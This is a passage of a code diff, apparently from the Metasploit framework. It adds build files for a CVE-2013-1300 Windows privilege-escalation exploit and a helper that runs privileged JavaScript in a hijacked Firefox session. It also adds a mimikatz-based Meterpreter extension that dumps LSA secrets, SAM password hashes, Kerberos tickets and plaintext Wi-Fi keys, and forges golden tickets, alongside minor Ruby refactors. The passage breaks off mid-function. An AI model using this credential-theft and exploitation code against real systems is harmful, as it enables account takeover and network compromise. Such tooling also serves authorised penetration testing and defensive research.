||||
switch (dwReason) {
|
||||
case DLL_QUERY_HMODULE:
|
||||
hAppInstance = hinstDLL;
|
||||
if (lpReserved != NULL) {
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
}
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
Schlamperei();
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
};
|
||||
|
||||
|
|
@ -0,0 +1,111 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{C093C490-61BF-433E-AEB4-80753B20DEC7}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectName>schlamperei</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;SCHLAMPEREI_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;SCHLAMPEREI_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
|
||||
IF EXIST "..\..\..\..\..\data\exploits\cve-2013-1300\" GOTO COPY
|
||||
mkdir "..\..\..\..\..\data\exploits\cve-2013-1300\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\cve-2013-1300\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="schlamperei.c">
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderOutputFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
</PrecompiledHeaderOutputFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderOutputFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
</PrecompiledHeaderOutputFile>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
|
@ -47,6 +47,13 @@ IF "%ERRORLEVEL%"=="0" (
|
|||
POPD
|
||||
)
|
||||
|
||||
IF "%ERRORLEVEL%"=="0" (
|
||||
ECHO "Building CVE-2013-1300 (schlamperei)"
|
||||
PUSHD CVE-2013-1300
|
||||
msbuild.exe make.msbuild /target:%PLAT%
|
||||
POPD
|
||||
)
|
||||
|
||||
IF "%ERRORLEVEL%"=="0" (
|
||||
ECHO "Building bypassuac (on-disk)"
|
||||
PUSHD bypassuac
|
||||
|
|
|
@ -4262,7 +4262,10 @@ class DBManager
|
|||
parser = Rex::Parser::RetinaXMLStreamParser.new
|
||||
parser.on_found_host = Proc.new do |host|
|
||||
hobj = nil
|
||||
data = {:workspace => wspace}
|
||||
data = {
|
||||
:workspace => wspace,
|
||||
:task => args[:task]
|
||||
}
|
||||
addr = host['address']
|
||||
next if not addr
|
||||
|
||||
|
|
|
@ -204,6 +204,7 @@ module Msf
|
|||
|
||||
doc.elements.each("/#{btag}/hosts/host") do |host|
|
||||
host_data = {}
|
||||
host_data[:task] = args[:task]
|
||||
host_data[:workspace] = wspace
|
||||
host_data[:host] = nils_for_nulls(host.elements["address"].text.to_s.strip)
|
||||
if bl.include? host_data[:host]
|
||||
|
@ -247,6 +248,7 @@ module Msf
|
|||
|
||||
host.elements.each('services/service') do |service|
|
||||
service_data = {}
|
||||
service_data[:task] = args[:task]
|
||||
service_data[:workspace] = wspace
|
||||
service_data[:host] = hobj
|
||||
service_data[:port] = nils_for_nulls(service.elements["port"].text.to_s.strip).to_i
|
||||
|
|
|
@ -9,7 +9,17 @@
|
|||
|
||||
module Msf
|
||||
module Exploit::Remote::FirefoxPrivilegeEscalation
|
||||
|
||||
|
||||
# Sends the +js+ code to the remote session, which executes it in Firefox's
|
||||
# privileged javascript context
|
||||
# @return [String] the results that were sent back. This can be achieved through
|
||||
# calling the "send" function, or by just returning the value in +js+
|
||||
def js_exec(js)
|
||||
print_status "Running the privileged javascript..."
|
||||
session.shell_write("[JAVASCRIPT]#{js}[/JAVASCRIPT]")
|
||||
session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
|
||||
end
|
||||
|
||||
# Puts the shellcode into memory, adds X flag, and calls it
|
||||
# The js function throws on error
|
||||
# @return [String] javascript code containing the execShellcode() javascript fn
|
||||
|
|
|
@ -34,11 +34,11 @@ class Module
|
|||
end
|
||||
|
||||
def fullname
|
||||
return type + '/' + refname
|
||||
type + '/' + refname
|
||||
end
|
||||
|
||||
def shortname
|
||||
return refname.split('/')[-1]
|
||||
refname.split('/').last
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -84,7 +84,7 @@ class Module
|
|||
# Returns the class reference to the framework
|
||||
#
|
||||
def framework
|
||||
return self.class.framework
|
||||
self.class.framework
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -178,6 +178,7 @@ class Module
|
|||
#
|
||||
|
||||
def print_prefix
|
||||
ret = ''
|
||||
if (datastore['TimestampOutput'] =~ /^(t|y|1)/i) || (
|
||||
framework && framework.datastore['TimestampOutput'] =~ /^(t|y|1)/i
|
||||
)
|
||||
|
@ -189,10 +190,9 @@ class Module
|
|||
prefix << "[%04d] " % xn
|
||||
end
|
||||
|
||||
return prefix
|
||||
else
|
||||
return ''
|
||||
ret = prefix
|
||||
end
|
||||
ret
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
|
@ -257,7 +257,7 @@ class Module
|
|||
# payloads/windows/shell/reverse_tcp
|
||||
#
|
||||
def fullname
|
||||
return self.class.fullname
|
||||
self.class.fullname
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -267,28 +267,28 @@ class Module
|
|||
# windows/shell/reverse_tcp
|
||||
#
|
||||
def refname
|
||||
return self.class.refname
|
||||
self.class.refname
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the module's rank.
|
||||
#
|
||||
def rank
|
||||
return self.class.rank
|
||||
self.class.rank
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the module's rank in string format.
|
||||
#
|
||||
def rank_to_s
|
||||
return self.class.rank_to_s
|
||||
self.class.rank_to_s
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the module's rank in display format.
|
||||
#
|
||||
def rank_to_h
|
||||
return self.class.rank_to_h
|
||||
self.class.rank_to_h
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -299,14 +299,14 @@ class Module
|
|||
# reverse_tcp
|
||||
#
|
||||
def shortname
|
||||
return self.class.shortname
|
||||
self.class.shortname
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the unduplicated class associated with this module.
|
||||
#
|
||||
def orig_cls
|
||||
return self.class.orig_cls
|
||||
self.class.orig_cls
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -366,30 +366,14 @@ class Module
|
|||
# Returns the address of the last target host (rough estimate)
|
||||
#
|
||||
def target_host
|
||||
if(self.respond_to?('rhost'))
|
||||
return rhost()
|
||||
end
|
||||
|
||||
if(self.datastore['RHOST'])
|
||||
return self.datastore['RHOST']
|
||||
end
|
||||
|
||||
nil
|
||||
self.respond_to?('rhost') ? rhost : self.datastore['RHOST']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the address of the last target port (rough estimate)
|
||||
#
|
||||
def target_port
|
||||
if(self.respond_to?('rport'))
|
||||
return rport()
|
||||
end
|
||||
|
||||
if(self.datastore['RPORT'])
|
||||
return self.datastore['RPORT']
|
||||
end
|
||||
|
||||
nil
|
||||
self.respond_to?('rport') ? rport : self.datastore['RPORT']
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -516,7 +500,7 @@ class Module
|
|||
# Return a comma separated list of author for this module.
|
||||
#
|
||||
def author_to_s
|
||||
return author.collect { |author| author.to_s }.join(", ")
|
||||
author.collect { |author| author.to_s }.join(", ")
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -530,7 +514,7 @@ class Module
|
|||
# Return a comma separated list of supported architectures, if any.
|
||||
#
|
||||
def arch_to_s
|
||||
return arch.join(", ")
|
||||
arch.join(", ")
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -544,16 +528,18 @@ class Module
|
|||
# Return whether or not the module supports the supplied architecture.
|
||||
#
|
||||
def arch?(what)
|
||||
return true if (what == ARCH_ANY)
|
||||
|
||||
return arch.index(what) != nil
|
||||
if (what == ARCH_ANY)
|
||||
true
|
||||
else
|
||||
arch.index(what) != nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Return a comma separated list of supported platforms, if any.
|
||||
#
|
||||
def platform_to_s
|
||||
return ((platform.all?) ? [ "All" ] : platform.names).join(", ")
|
||||
platform.all? ? "All" : platform.names.join(", ")
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -567,7 +553,7 @@ class Module
|
|||
# Returns whether or not the module requires or grants high privileges.
|
||||
#
|
||||
def privileged?
|
||||
return (privileged == true)
|
||||
privileged == true
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -575,7 +561,7 @@ class Module
|
|||
# this somewhere else.
|
||||
#
|
||||
def comm
|
||||
return Rex::Socket::Comm::Local
|
||||
Rex::Socket::Comm::Local
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -749,7 +735,7 @@ class Module
|
|||
# Constants indicating the reason for an unsuccessful module attempt
|
||||
#
|
||||
module Failure
|
||||
|
||||
|
||||
#
|
||||
# No confidence in success or failure
|
||||
#
|
||||
|
@ -814,7 +800,7 @@ class Module
|
|||
# The payload was delivered but no session was opened (AV, network, etc)
|
||||
#
|
||||
PayloadFailed = 'payload-failed'
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
##
|
||||
|
@ -827,42 +813,42 @@ class Module
|
|||
# Returns true if this module is an exploit module.
|
||||
#
|
||||
def exploit?
|
||||
return (type == MODULE_EXPLOIT)
|
||||
(type == MODULE_EXPLOIT)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this module is a payload module.
|
||||
#
|
||||
def payload?
|
||||
return (type == MODULE_PAYLOAD)
|
||||
(type == MODULE_PAYLOAD)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this module is an encoder module.
|
||||
#
|
||||
def encoder?
|
||||
return (type == MODULE_ENCODER)
|
||||
(type == MODULE_ENCODER)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this module is a nop module.
|
||||
#
|
||||
def nop?
|
||||
return (type == MODULE_NOP)
|
||||
(type == MODULE_NOP)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this module is an auxiliary module.
|
||||
#
|
||||
def auxiliary?
|
||||
return (type == MODULE_AUX)
|
||||
(type == MODULE_AUX)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this module is an post-exploitation module.
|
||||
#
|
||||
def post?
|
||||
return (type == MODULE_POST)
|
||||
(type == MODULE_POST)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -1073,7 +1059,7 @@ protected
|
|||
merge_check_key(info, name, val)
|
||||
}
|
||||
|
||||
return info
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -109,4 +109,4 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
|
|||
|
||||
module_content
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -92,7 +92,7 @@ module Msf::Payload::Firefox
|
|||
try {
|
||||
retVal = Function('send', js[1])(function(r){
|
||||
if (sent) return;
|
||||
sent = true
|
||||
sent = true;
|
||||
if (r) {
|
||||
if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
|
||||
else cb(false, r+tag+"\\n");
|
||||
|
@ -111,7 +111,7 @@ module Msf::Payload::Firefox
|
|||
}
|
||||
|
||||
var shEsc = "\\\\$&";
|
||||
var shPath = "/bin/sh -c"
|
||||
var shPath = "/bin/sh -c";
|
||||
|
||||
if (windows) {
|
||||
shPath = "cmd /c";
|
||||
|
|
|
@ -1320,6 +1320,7 @@ class Db
|
|||
print_line " NeXpose XML Report"
|
||||
print_line " Nmap XML"
|
||||
print_line " OpenVAS Report"
|
||||
print_line " Outpost24 XML"
|
||||
print_line " Qualys Asset XML"
|
||||
print_line " Qualys Scan XML"
|
||||
print_line " Retina XML"
|
||||
|
|
|
@ -36,8 +36,8 @@ class Part
|
|||
|
||||
# Returns the Content-Transfer-Encoding of the part.
|
||||
#
|
||||
# @returns [nil] if the part hasn't Content-Transfer-Encoding.
|
||||
# @returns [String] The Content-Transfer-Encoding or the part.
|
||||
# @return [nil] if the part hasn't Content-Transfer-Encoding.
|
||||
# @return [String] The Content-Transfer-Encoding or the part.
|
||||
def transfer_encoding
|
||||
h = header.find('Content-Transfer-Encoding')
|
||||
return nil if h.nil?
|
||||
|
|
|
@ -32,7 +32,7 @@ class Adsi
|
|||
# @param fields [Array] Array of string fields to return for
|
||||
# each result found
|
||||
#
|
||||
# @returns [Hash] Array of field names with associated results.
|
||||
# @return [Hash] Array of field names with associated results.
|
||||
#
|
||||
def domain_query(domain_name, filter, max_results, page_size, fields)
|
||||
request = Packet.create_request('extapi_adsi_domain_query')
|
||||
|
|
|
@ -26,7 +26,7 @@ class Wmi
|
|||
# @param root [String] Specify root to target, otherwise defaults
|
||||
# to 'root\cimv2'
|
||||
#
|
||||
# @returns [Hash] Array of field names with associated values.
|
||||
# @return [Hash] Array of field names with associated values.
|
||||
#
|
||||
def query(query, root = nil)
|
||||
request = Packet.create_request('extapi_wmi_query')
|
||||
|
|
|
@ -0,0 +1,361 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/post/meterpreter/extensions/kiwi/tlv'
|
||||
require 'rexml/document'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Kiwi
|
||||
|
||||
###
|
||||
#
|
||||
# Kiwi extension - grabs credentials from windows memory.
|
||||
#
|
||||
# Benjamin DELPY `gentilkiwi`
|
||||
# http://blog.gentilkiwi.com/mimikatz
|
||||
#
|
||||
# extension converted by OJ Reeves (TheColonial)
|
||||
###
|
||||
|
||||
class Kiwi < Extension
|
||||
|
||||
#
|
||||
# These are constants that identify the type of credential to dump
|
||||
# from the target machine.
|
||||
#
|
||||
PWD_ID_SEK_ALLPASS = 0
|
||||
PWD_ID_SEK_WDIGEST = 1
|
||||
PWD_ID_SEK_MSV = 2
|
||||
PWD_ID_SEK_KERBEROS = 3
|
||||
PWD_ID_SEK_TSPKG = 4
|
||||
PWD_ID_SEK_LIVESSP = 5
|
||||
PWD_ID_SEK_SSP = 6
|
||||
PWD_ID_SEK_DPAPI = 7
|
||||
|
||||
#
|
||||
# List of names which represent the flags that are part of the
|
||||
# dumped kerberos tickets. The order of these is important. Each
|
||||
# of them was pulled from the Mimikatz 2.0 source base.
|
||||
#
|
||||
KERBEROS_FLAGS = [
|
||||
"NAME CANONICALIZE",
|
||||
"<unknown>",
|
||||
"OK AS DELEGATE",
|
||||
"<unknown>",
|
||||
"HW AUTHENT",
|
||||
"PRE AUTHENT",
|
||||
"INITIAL",
|
||||
"RENEWABLE",
|
||||
"INVALID",
|
||||
"POSTDATED",
|
||||
"MAY POSTDATE",
|
||||
"PROXY",
|
||||
"PROXIABLE",
|
||||
"FORWARDED",
|
||||
"FORWARDABLE",
|
||||
"RESERVED"
|
||||
].map(&:freeze).freeze
|
||||
|
||||
#
|
||||
# Typical extension initialization routine.
|
||||
#
|
||||
# @param client (see Extension#initialize)
|
||||
def initialize(client)
|
||||
super(client, 'kiwi')
|
||||
|
||||
client.register_extension_aliases(
|
||||
[
|
||||
{
|
||||
'name' => 'kiwi',
|
||||
'ext' => self
|
||||
},
|
||||
])
|
||||
end
|
||||
|
||||
#
|
||||
# Dump the LSA secrets from the target machine.
|
||||
#
|
||||
# @return [Hash<Symbol,Object>]
|
||||
def lsa_dump
|
||||
request = Packet.create_request('kiwi_lsa_dump_secrets')
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
result = {
|
||||
:major => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MAJ),
|
||||
:minor => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MIN),
|
||||
:compname => response.get_tlv_value(TLV_TYPE_KIWI_LSA_COMPNAME),
|
||||
:syskey => response.get_tlv_value(TLV_TYPE_KIWI_LSA_SYSKEY),
|
||||
:nt5key => response.get_tlv_value(TLV_TYPE_KIWI_LSA_NT5KEY),
|
||||
:nt6keys => [],
|
||||
:secrets => [],
|
||||
:samkeys => []
|
||||
}
|
||||
|
||||
response.each(TLV_TYPE_KIWI_LSA_NT6KEY) do |k|
|
||||
result[:nt6keys] << {
|
||||
:id => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYID),
|
||||
:value => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYVALUE)
|
||||
}
|
||||
end
|
||||
|
||||
response.each(TLV_TYPE_KIWI_LSA_SECRET) do |s|
|
||||
result[:secrets] << {
|
||||
:name => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NAME),
|
||||
:service => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_SERV),
|
||||
:ntlm => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NTLM),
|
||||
:current => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR),
|
||||
:current_raw => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW),
|
||||
:old => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD),
|
||||
:old_raw => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW)
|
||||
}
|
||||
end
|
||||
|
||||
response.each(TLV_TYPE_KIWI_LSA_SAM) do |s|
|
||||
result[:samkeys] << {
|
||||
:rid => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_RID),
|
||||
:user => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_USER),
|
||||
:ntlm_hash => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_NTLMHASH),
|
||||
:lm_hash => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_LMHASH)
|
||||
}
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
#
|
||||
# Convert a flag set to a list of string representations for the bit flags
|
||||
# that are set.
|
||||
#
|
||||
# @param flags [Fixnum] Integer bitmask of Kerberos token flags.
|
||||
#
|
||||
# @return [Array<String>] Names of all set flags in +flags+. See
|
||||
# {KERBEROS_FLAGS}
|
||||
def to_kerberos_flag_list(flags)
|
||||
flags = flags >> 16
|
||||
results = []
|
||||
|
||||
KERBEROS_FLAGS.each_with_index do |item, idx|
|
||||
if (flags & (1 << idx)) != 0
|
||||
results << item
|
||||
end
|
||||
end
|
||||
|
||||
results
|
||||
end
|
||||
|
||||
#
|
||||
# List available kerberos tickets.
|
||||
#
|
||||
# @param export [Bool] Set to +true+ to export the content of each ticket
|
||||
#
|
||||
# @return [Array<Hash>]
|
||||
#
|
||||
def kerberos_ticket_list(export)
|
||||
export ||= false
|
||||
request = Packet.create_request('kiwi_kerberos_ticket_list')
|
||||
request.add_tlv(TLV_TYPE_KIWI_KERB_EXPORT, export)
|
||||
response = client.send_request(request)
|
||||
|
||||
results = []
|
||||
|
||||
response.each(TLV_TYPE_KIWI_KERB_TKT) do |t|
|
||||
results << {
|
||||
:enc_type => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_ENCTYPE),
|
||||
:start => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_START),
|
||||
:end => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_END),
|
||||
:max_renew => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_MAXRENEW),
|
||||
:server => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERNAME),
|
||||
:server_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERREALM),
|
||||
:client => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME),
|
||||
:client_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM),
|
||||
:flags => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_FLAGS),
|
||||
:raw => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW)
|
||||
}
|
||||
end
|
||||
|
||||
results
|
||||
end
|
||||
|
||||
#
|
||||
# Use the given ticket in the current session.
|
||||
#
|
||||
# @param ticket [String] Content of the Kerberos ticket to use.
|
||||
#
|
||||
# @return [void]
|
||||
#
|
||||
def kerberos_ticket_use(ticket)
|
||||
request = Packet.create_request('kiwi_kerberos_ticket_use')
|
||||
request.add_tlv(TLV_TYPE_KIWI_KERB_TKT_RAW, ticket, false, true)
|
||||
client.send_request(request)
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Purge any Kerberos tickets that have been added to the current session.
|
||||
#
|
||||
# @return [void]
|
||||
#
|
||||
def kerberos_ticket_purge
|
||||
request = Packet.create_request('kiwi_kerberos_ticket_purge')
|
||||
client.send_request(request)
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Create a new golden kerberos ticket on the target machine and return it.
|
||||
#
|
||||
# @param user [String] Name of the user to create the ticket for.
|
||||
# @param domain [String] Domain name.
|
||||
# @param sid [String] SID of the domain.
|
||||
# @param tgt [String] The kerberos ticket granting token.
|
||||
# @param id [Fixnum] ID of the user to grant the token for.
|
||||
# @param group_ids [Array<Fixnum>] IDs of the groups to assign to the user
|
||||
#
|
||||
# @return [String]
|
||||
#
|
||||
def golden_ticket_create(user, domain, sid, tgt, id = 0, group_ids = [])
|
||||
request = Packet.create_request('kiwi_kerberos_golden_ticket_create')
|
||||
request.add_tlv(TLV_TYPE_KIWI_GOLD_USER, user)
|
||||
request.add_tlv(TLV_TYPE_KIWI_GOLD_DOMAIN, domain)
|
||||
request.add_tlv(TLV_TYPE_KIWI_GOLD_SID, sid)
|
||||
request.add_tlv(TLV_TYPE_KIWI_GOLD_TGT, tgt)
|
||||
request.add_tlv(TLV_TYPE_KIWI_GOLD_USERID, id)
|
||||
|
||||
group_ids.each do |g|
|
||||
request.add_tlv(TLV_TYPE_KIWI_GOLD_GROUPID, g)
|
||||
end
|
||||
|
||||
response = client.send_request(request)
|
||||
return response.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW)
|
||||
end
|
||||
|
||||
#
|
||||
# List all the wifi interfaces and the profiles associated
|
||||
# with them. Also show the raw text passwords for each.
|
||||
#
|
||||
# @return [Array<Hash>]
|
||||
def wifi_list
|
||||
request = Packet.create_request('kiwi_wifi_profile_list')
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
results = []
|
||||
|
||||
response.each(TLV_TYPE_KIWI_WIFI_INT) do |i|
|
||||
interface = {
|
||||
:guid => Rex::Text::to_guid(i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_GUID)),
|
||||
:desc => i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_DESC),
|
||||
:state => i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_STATE),
|
||||
:profiles => []
|
||||
}
|
||||
|
||||
i.each(TLV_TYPE_KIWI_WIFI_PROFILE) do |p|
|
||||
|
||||
xml = p.get_tlv_value(TLV_TYPE_KIWI_WIFI_PROFILE_XML)
|
||||
doc = REXML::Document.new(xml)
|
||||
profile = doc.elements['WLANProfile']
|
||||
|
||||
interface[:profiles] << {
|
||||
:name => p.get_tlv_value(TLV_TYPE_KIWI_WIFI_PROFILE_NAME),
|
||||
:auth => profile.elements['MSM/security/authEncryption/authentication'].text,
|
||||
:key_type => profile.elements['MSM/security/sharedKey/keyType'].text,
|
||||
:shared_key => profile.elements['MSM/security/sharedKey/keyMaterial'].text
|
||||
}
|
||||
end
|
||||
|
||||
results << interface
|
||||
end
|
||||
|
||||
return results
|
||||
end
|
||||
|
||||
#
|
||||
# Scrape passwords from the target machine.
|
||||
#
|
||||
# @param pwd_id [Fixnum] ID of the type credential to scrape.
|
||||
#
|
||||
# @return [Array<Hash>]
|
||||
def scrape_passwords(pwd_id)
|
||||
request = Packet.create_request('kiwi_scrape_passwords')
|
||||
